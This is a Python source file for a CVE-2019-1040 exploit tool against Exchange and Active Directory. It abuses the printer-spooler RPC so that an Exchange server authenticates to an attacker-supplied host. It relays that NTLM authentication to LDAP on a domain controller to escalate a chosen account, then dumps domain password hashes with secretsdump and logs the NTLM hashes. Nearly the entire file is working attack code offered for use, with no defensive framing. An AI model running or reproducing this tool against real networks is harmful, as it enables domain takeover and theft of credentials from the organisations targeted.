#!/usr/bin/env python # -*- coding: UTF-8 -*- import ssl import argparse import logging import sys import getpass import base64 import re import binascii import time import config import os from impacket.dcerpc.v5 import transport, rprn from impacket.dcerpc.v5.dtypes import NULL from comm import logger from comm.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer from comm.ntlmrelayx.utils.config import NTLMRelayxConfig from comm.ntlmrelayx.utils.targetsutils import TargetsProcessor from comm.ntlmrelayx.clients import PROTOCOL_CLIENTS from comm.ntlmrelayx.attacks import PROTOCOL_ATTACKS from multiprocessing import Manager from threading import Thread, Lock, currentThread from comm.secretsdump import DumpSecrets from comm.restore import RestoreOperation # Init logging logger.init() logging.getLogger().setLevel(logging.INFO) start = time.time() LOGO =R""" ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██╗ █████╗ ██╗ ██████╗ ██╗ ██╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗███║██╔══██╗ ███║██╔═████╗██║ ██║██╔═████╗ ██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║╚██║╚██████║█████╗╚██║██║██╔██║███████║██║██╔██║ ██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║ ██║ ╚═══██║╚════╝ ██║████╔╝██║╚════██║████╔╝██║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝ ██║ █████╔╝ ██║╚██████╔╝ ██║╚██████╔╝ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ """ class PrinterBug(object): KNOWN_PROTOCOLS = { 139: {'bindstr': r'ncacn_np:%s[\pipe\spoolss]', 'set_host': True}, 445: {'bindstr': r'ncacn_np:%s[\pipe\spoolss]', 'set_host': True}, } def __init__(self, username='', password='', domain='', port=None, hashes=None, attackerhost=''): self.__username = username self.__password = password self.__port = port self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__attackerhost = attackerhost if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def dump(self, remote_host): logging.info( 'Attempting to trigger authentication via rprn RPC at %s', remote_host) stringbinding = self.KNOWN_PROTOCOLS[self.__port]['bindstr'] % remote_host # logging.info('StringBinding %s'%stringbinding) rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(self.__port) if self.KNOWN_PROTOCOLS[self.__port]['set_host']: rpctransport.setRemoteHost(remote_host) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials( self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) try: tmp = self.lookup(rpctransport, remote_host) if tmp: return True except Exception, e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) return False def lookup(self, rpctransport, host): dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(rprn.MSRPC_UUID_RPRN) logging.critical('Bind OK') try: resp = rprn.hRpcOpenPrinter(dce, '\\\\%s\x00' % host) except Exception, e: if str(e).find('Broken pipe') >= 0: # The connection timed-out. Let's try to bring it back next round logging.error('Connection failed - skipping host!') return False elif str(e).upper().find('ACCESS_DENIED'): # We're not admin, bye logging.error('Access denied - RPC call was denied') dce.disconnect() return False else: return False logging.info('Got handle') request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx() request['hPrinter'] = resp['pHandle'] request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB request['pszLocalMachine'] = '\\\\%s\x00' % self.__attackerhost request['pOptions'] = NULL try: resp = dce.request(request) except Exception as e: pass logging.info( 'Triggered RPC backconnect, this may or may not have worked') dce.disconnect() return True def startServers(passargs): targetSystem = passargs.target_host privuser = passargs.user PoppedDB = Manager().dict() # A dict of PoppedUsers PoppedDB_Lock = Lock() # A lock for opening the dict relayServers = [SMBRelayServer] c = NTLMRelayxConfig() c.setProtocolClients(PROTOCOL_CLIENTS) c.setTargets(TargetsProcessor(singleTarget=str("ldap://"+targetSystem),protocolClients=PROTOCOL_CLIENTS)) c.setOutputFile(None) c.setEncoding('ascii') c.setMode('RELAY') c.setAttacks(PROTOCOL_ATTACKS) c.setLootdir('.') c.setInterfaceIp("0.0.0.0") c.setExploitOptions(True) c.escalateuser = privuser c.delegateaccess = False c.addcomputer = False c.dumpdomain = False c.setSMB2Support(True) c.PoppedDB = PoppedDB # pass the poppedDB to the relay servers c.PoppedDB_Lock = PoppedDB_Lock # pass the poppedDB to the relay servers s = SMBRelayServer(c) s.start() logging.info("Relay servers started, waiting for connection....") try: status = exploit(passargs) if status: exp = Thread(target=checkauth, args=(passargs,)) exp.daemon = True exp.start() try: while exp.isAlive(): pass except KeyboardInterrupt, e: logging.info("Shutting down...") s.server.shutdown() else: logging.error("Error in exploit, Shutting down...") s.server.shutdown() except Exception as e: logging.error("Error found: {}".format(e)) logging.info("Shutting down...") def checkauth(passargs): getpriv = config.get_priv() backuser = config.get_user() logging.info("Checking privs...") logging.info("We have user => {}".format(backuser)) while True: try: if getpriv == True: gethash(passargs,backuser) break else: getpriv = config.get_priv() tmp = time.time() - start if tmp > passargs.timeout: logging.error("Time Out. exiting...") break except Exception as e: logging.error("Error found, error is {}".format(e)) break def gethash(passargs,user): remoteName = passargs.target_host username = passargs.user password = passargs.password domain = passargs.domain execmethod = passargs.exec_method hashes = passargs.hashes restorentlm = '' if passargs.just_dc_user: dcuser = passargs.just_dc_user else: dcuser = None if len(user) > 0: try: dumper = DumpSecrets(remoteName, username, password, domain, execmethod, user, hashes) dumper.dump() restorentlm = config.get_ntlm() if len(restorentlm)>0: logging.critical('User: {}, NTLM: {}'.format(user, restorentlm)) except: pass if dcuser and len(dcuser) >0: dumpuser = "{}\\{}".format(user.split("\\")[0], dcuser) try: dumper = DumpSecrets(remoteName, username, password, domain, execmethod, dumpuser, hashes) check = dumper.dump() except Exception, e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(e) if user.split("\\")[1] in restorentlm: logging.info("Restore LADP...") restorefile = config.get_restore() lmhash = restorentlm.split(':')[2] nthash = restorentlm.split(':')[3] restorer = RestoreOperation(None, restorefile,lmhash+":"+nthash) restorer.run() logging.info("Clean Restore file...") os.remove(restorefile) if os.path.exists(restorefile): logging.error("Clean error") else: logging.critical("Done.") def exploit(args): username = args.user password = args.password domain = args.domain port = args.smb_port lookup = PrinterBug(username, password, domain, int( port), args.hashes, args.attacker_host) try: check = lookup.dump(args.host) if check: return True except KeyboardInterrupt: return False def main(): parser = argparse.ArgumentParser(description='CVE-2019-1040 with Exchange') parser.add_argument("host", type=str, metavar='EX_HOSTNAME', help="Hostname/ip of the Exchange server") parser.add_argument("-u", "--user", metavar='USERNAME', help="username for authentication") parser.add_argument("-d", "--domain", metavar='DOMAIN', help="domain the user is in (FQDN or NETBIOS domain name)") parser.add_argument("-p", "--password", metavar='PASSWORD', help="Password for authentication, will prompt if not specified and no NT:NTLM hashes are supplied") parser.add_argument('--hashes', action='store', help='LM:NLTM hashes') parser.add_argument('--smb-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", help='Destination port to connect to SMB Server') parser.add_argument("-ah", "--attacker-host", required=True, help="Attacker hostname or IP") parser.add_argument("-th", "--target-host", required=True, help="Hostname or IP of the DC") parser.add_argument("-t", "--timeout", default='15',type=int, help='timeout in seconds') parser.add_argument('--exec-method', choices=['smbexec', 'wmiexec', 'mmcexec'], nargs='?', default='smbexec', help='Remote exec ' 'method to use at target (only when using -use-vss). Default: smbexec') parser.add_argument('--just-dc-user', action='store', metavar='USERNAME', help='Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach.') parser.add_argument("--debug", action='store_true', help='Enable debug output') passargs = parser.parse_args() startServers(passargs) if __name__ == '__main__': print(LOGO) main()